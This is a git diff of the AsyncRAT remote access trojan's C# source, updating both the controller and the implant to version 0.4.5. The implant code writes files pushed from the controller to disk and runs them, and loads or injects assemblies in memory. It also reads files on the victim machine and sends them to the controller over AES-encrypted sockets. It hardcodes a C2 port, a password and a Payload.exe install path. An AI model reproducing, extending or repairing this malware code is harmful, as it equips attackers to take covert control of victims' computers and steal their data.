+ Program.form1.listView3.Items.Insert(0, client.LV2);
+ Program.form1.listView3.EndUpdate();
+ }
}
- }
- else
- {
- using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
+ else
{
- Program.form1.listView3.BeginUpdate();
- Program.form1.imageList1.Images.RemoveByKey(client.ID);
- Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
- Program.form1.listView3.EndUpdate();
+ using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
+ {
+ Program.form1.listView3.BeginUpdate();
+ Program.form1.imageList1.Images.RemoveByKey(client.ID);
+ Program.form1.imageList1.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
+ Program.form1.listView3.EndUpdate();
+ }
}
- }
- }));
+ }));
+ }
}
+ catch { }
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs
index 8a73428..dc12d1c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/Packet.cs
@@ -4,6 +4,7 @@ using System;
using System.Diagnostics;
using System.Drawing;
using AsyncRAT_Sharp.Forms;
+using System.Security.Cryptography;
namespace AsyncRAT_Sharp.Handle_Packet
{
@@ -11,13 +12,14 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
public static void Read(object Obj)
{
+ Clients client = null;
try
{
object[] array = Obj as object[];
byte[] data = (byte[])array[0];
- Clients client = (Clients)array[1];
+ client = (Clients)array[1];
MsgPack unpack_msgpack = new MsgPack();
- unpack_msgpack.DecodeFromBytes(data);
+ unpack_msgpack.DecodeFromBytes(Settings.AES.Decrypt(data));
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "ClientInfo":
@@ -94,12 +96,18 @@ namespace AsyncRAT_Sharp.Handle_Packet
}
}
}
+ catch (CryptographicException)
+ {
+ new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password", Color.Red);
+ // Settings.Blocked.Add(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
+ client.Disconnected();
+ return;
+ }
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
+ return;
}
- //GC.Collect();
- //GC.WaitForPendingFinalizers();
}
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs
index 5fcf5e9..60cf706 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs
@@ -234,6 +234,16 @@ namespace AsyncRAT_Sharp.Properties {
}
}
+ ///
+ /// Looks up a localized resource of type System.Drawing.Bitmap.
+ ///
+ internal static System.Drawing.Bitmap settings {
+ get {
+ object obj = ResourceManager.GetObject("settings", resourceCulture);
+ return ((System.Drawing.Bitmap)(obj));
+ }
+ }
+
///
/// Looks up a localized resource of type System.Drawing.Bitmap.
///
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx
index 80de15b..ac76fbb 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx
@@ -127,6 +127,9 @@
..\Resources\tomem.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+ ..\Resources\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
..\Resources\play-button.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
@@ -151,6 +154,9 @@
..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+ ..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
..\Resources\dnlib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
@@ -181,10 +187,7 @@
..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
-
- ..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
-
-
- ..\Resources\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+
+ ..\Resources\settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs
index 16d6331..1f5fe2b 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs
@@ -12,7 +12,7 @@ namespace AsyncRAT_Sharp.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
- [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.9.0.0")]
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
@@ -70,5 +70,29 @@ namespace AsyncRAT_Sharp.Properties {
this["Filename"] = value;
}
}
+
+ [global::System.Configuration.UserScopedSettingAttribute()]
+ [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+ [global::System.Configuration.DefaultSettingValueAttribute("False")]
+ public bool Notification {
+ get {
+ return ((bool)(this["Notification"]));
+ }
+ set {
+ this["Notification"] = value;
+ }
+ }
+
+ [global::System.Configuration.UserScopedSettingAttribute()]
+ [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+ [global::System.Configuration.DefaultSettingValueAttribute("")]
+ public string Mutex {
+ get {
+ return ((string)(this["Mutex"]));
+ }
+ set {
+ this["Mutex"] = value;
+ }
+ }
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings
index 22812b0..aad7ab9 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings
@@ -14,5 +14,11 @@
+
+ False
+
+
+
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config
index f9cc18d..bc11de2 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config
@@ -22,6 +22,12 @@
+
+ False
+
+
+
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe
new file mode 100644
index 0000000..3045682
Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config
new file mode 100644
index 0000000..e2a5a18
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config
@@ -0,0 +1,3 @@
+
+
+
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png
new file mode 100644
index 0000000..2834f82
Binary files /dev/null and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png differ
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
index 994a6fc..5a4778e 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
@@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp
public static string Password { get; set; }
public static Aes256 AES{ get; set; }
- public static readonly string Version = "AsyncRAT 0.4.4";
+ public static readonly string Version = "AsyncRAT 0.4.5";
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
index f6aec52..85372f7 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
@@ -8,10 +8,11 @@ using System.Drawing;
using System.Diagnostics;
using System.Threading;
using AsyncRAT_Sharp.MessagePack;
+using System.Text;
namespace AsyncRAT_Sharp.Sockets
{
- public class Clients
+ public class Clients
{
public Socket ClientSocket { get; set; }
public ListViewItem LV { get; set; }
@@ -67,17 +68,7 @@ namespace AsyncRAT_Sharp.Sockets
BytesRecevied += Recevied;
if (ClientMS.Length == ClientBuffersize)
{
- try
- {
- ThreadPool.QueueUserWorkItem(Packet.Read, new object[] { Settings.AES.Decrypt(ClientMS.ToArray()), this });
- }
- catch (CryptographicException)
- {
- new HandleLogs().Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
- Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
- Disconnected();
- return;
- }
+ ThreadPool.QueueUserWorkItem(Packet.Read, new object[] {ClientMS.ToArray(), this });
ClientBuffer = new byte[4];
ClientMS.Dispose();
ClientMS = new MemoryStream();
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
index bf93c23..0980860 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
@@ -58,39 +58,46 @@ namespace AsyncRAT_Sharp.Sockets
private bool IsDublicated(Socket socket)
{
- if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0]))
+ try
{
- return true;
- }
-
- int count = 0;
- foreach (Clients client in Settings.Online.ToList())
- {
- if (client.LV != null)
+ if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0]))
{
- if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0])
- count++;
+ return true;
}
- }
- if (count > 4)
- {
- Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]);
- new HandleLogs().Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red);
+ int count = 0;
foreach (Clients client in Settings.Online.ToList())
{
- if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0] && client.LV != null)
+ if (client.LV != null)
{
- try
- {
- client.Disconnected();
- }
- catch { }
+ if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0])
+ count++;
}
}
- return true;
+
+ if (count > 3)
+ {
+ Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]);
+ new HandleLogs().Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red);
+ foreach (Clients client in Settings.Online.ToList())
+ {
+ if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0] && client.LV != null)
+ {
+ try
+ {
+ client.Disconnected();
+ }
+ catch { }
+ }
+ }
+ return true;
+ }
+ return false;
+ }
+ catch
+ {
+ return false;
}
- return false;
}
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs
index 48f12de..a254c89 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs
@@ -105,8 +105,7 @@ namespace Client.Handle_Packet
msgpack.ForcePathObject("Command").AsString = "pre";
msgpack.ForcePathObject("DWID").AsString = dwid;
msgpack.ForcePathObject("File").AsString = file;
- long Length = new FileInfo(file).Length;
- msgpack.ForcePathObject("Size").AsString = Length.ToString();
+ msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString();
ChunkSend(Settings.aes256.Encrypt(msgpack.Encode2Bytes()), Client);
@@ -115,11 +114,11 @@ namespace Client.Handle_Packet
msgpack2.ForcePathObject("Command").AsString = "save";
msgpack2.ForcePathObject("DWID").AsString = dwid;
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
- msgpack2.ForcePathObject("File").LoadFileAsBytes(file);
+ msgpack2.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(file));
ChunkSend(Settings.aes256.Encrypt(msgpack2.Encode2Bytes()), Client);
Client.Shutdown(SocketShutdown.Both);
- Client.Close();
+ Client.Dispose();
}
catch
{
@@ -149,7 +148,7 @@ namespace Client.Handle_Packet
SendPackage = client.Send(chunk);
} while (bytesToRead > 0);
- binaryReader.Close();
+ binaryReader.Dispose();
}
}
catch
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs
index 04d8846..2fdfb8f 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs
@@ -12,45 +12,53 @@ namespace Client.Handle_Packet
{
public void SendToDisk(MsgPack unpack_msgpack)
{
- string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
- unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
- Process.Start(fullPath);
- if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
+ try
{
- new HandleUninstall();
+ string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
+ unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
+ Process.Start(fullPath);
+ if (unpack_msgpack.ForcePathObject("Update").AsString == "true")
+ {
+ new HandleUninstall();
+ }
}
+ catch { }
}
public void SendToMemory(MsgPack unpack_msgpack)
{
- byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes();
- string injection = unpack_msgpack.ForcePathObject("Inject").AsString;
- byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes();
- if (injection.Length == 0)
+ try
{
- new Thread(delegate ()
+ byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes();
+ string injection = unpack_msgpack.ForcePathObject("Inject").AsString;
+ byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes();
+ if (injection.Length == 0)
{
- Assembly loader = Assembly.Load(buffer);
- object[] parm = null;
- if (loader.EntryPoint.GetParameters().Length > 0)
+ new Thread(delegate ()
{
- parm = new object[] { new string[] { null } };
- }
- loader.EntryPoint.Invoke(null, parm);
- })
- { IsBackground = true }.Start();
+ Assembly loader = Assembly.Load(buffer);
+ object[] parm = null;
+ if (loader.EntryPoint.GetParameters().Length > 0)
+ {
+ parm = new object[] { new string[] { null } };
+ }
+ loader.EntryPoint.Invoke(null, parm);
+ })
+ { IsBackground = true }.Start();
- }
- else
- {
- new Thread(delegate ()
+ }
+ else
{
- Assembly loader = Assembly.Load(plugin);
- MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run");
- meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), injection) });
- })
- { IsBackground = true }.Start();
+ new Thread(delegate ()
+ {
+ Assembly loader = Assembly.Load(plugin);
+ MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run");
+ meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), injection) });
+ })
+ { IsBackground = true }.Start();
+ }
}
+ catch { }
}
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs
index 5d974d9..9b169ac 100644
--- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs
@@ -4,6 +4,7 @@ using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
+using System.Text;
using System.Threading;
using System.Windows.Forms;
@@ -11,12 +12,13 @@ namespace Client.Handle_Packet
{
public static class Packet
{
+ public static bool KeyRecevied = false;
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
- unpack_msgpack.DecodeFromBytes((byte[])data);
+ unpack_msgpack.DecodeFromBytes(Settings.aes256.Decrypt((byte[])data));
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "sendMessage":
diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs
index 077ba64..c2bde59 100644
--- a/AsyncRAT-C#/Client/Settings.cs
+++ b/AsyncRAT-C#/Client/Settings.cs
@@ -8,10 +8,10 @@ namespace Client
{
public static readonly string Ports = "6606";
public static readonly string Host = "127.0.0.1";
- public static readonly string Version = "AsyncRAT 0.4.4";
+ public static readonly string Version = "AsyncRAT 0.4.5";
public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
- public static string Password = "NYAN CAT";
+ public static readonly string Password = "NYAN CAT";
public static readonly Aes256 aes256 = new Aes256(Password);
public static readonly string MTX = "%MTX%";
public static readonly string Anti = "%Anti%";
diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
index 23c6779..265a61c 100644
--- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
+++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
@@ -7,6 +7,7 @@ using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Threading;
+using System.Text;
// │ Author : NYAN CAT
// │ Name : Nyan Socket v0.1
@@ -30,7 +31,7 @@ namespace Client.Sockets
private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
- public static void InitializeClient()
+ public static void InitializeClient()
{
try
{
@@ -48,7 +49,6 @@ namespace Client.Sockets
Buffer = new byte[4];
BufferRecevied = false;
MS = new MemoryStream();
- TheCPUCounter.NextValue();
BeginSend(SendInfo());
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
@@ -65,6 +65,7 @@ namespace Client.Sockets
try
{
+ Packet.KeyRecevied = false;
Tick?.Dispose();
Client?.Dispose();
MS?.Dispose();
@@ -75,7 +76,7 @@ namespace Client.Sockets
}
}
- private static byte[] SendInfo()
+ public static byte[] SendInfo()
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
@@ -85,6 +86,7 @@ namespace Client.Sockets
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
msgpack.ForcePathObject("Version").AsString = Settings.Version;
+ TheCPUCounter.NextValue();
msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
return msgpack.Encode2Bytes();
}
@@ -120,7 +122,7 @@ namespace Client.Sockets
MS.Write(Buffer, 0, recevied);
if (MS.Length == Buffersize)
{
- ThreadPool.QueueUserWorkItem(Packet.Read, Settings.aes256.Decrypt(MS.ToArray()));
+ ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray());
Buffer = new byte[4];
MS.Dispose();
MS = new MemoryStream();